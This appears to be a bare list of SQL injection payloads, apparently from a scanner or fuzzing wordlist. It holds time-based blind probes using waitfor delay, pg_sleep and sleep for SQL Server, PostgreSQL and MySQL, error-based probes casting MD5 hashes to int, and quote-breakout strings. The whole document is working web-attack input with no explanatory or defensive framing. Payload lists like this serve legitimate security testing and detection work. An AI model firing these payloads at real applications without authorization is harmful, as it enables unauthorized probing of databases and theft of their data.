'and(select+1)>0waitfor/**/delay'0:0:0

'/**/and(select'1'from/**/pg_sleep(8))::text>'0

'/**/and(select'1'from/**/pg_sleep(0))::text>'0

'"\(

鎈'"\(

'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1572120134')))>'0

"and(select*from(select+sleep(8))a/**/union/**/select+1)="

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1652911259')))

"and(select*from(select+sleep(0))a/**/union/**/select+1)="

/**/and/**/cast(md5('1259491662')as/**/int)>0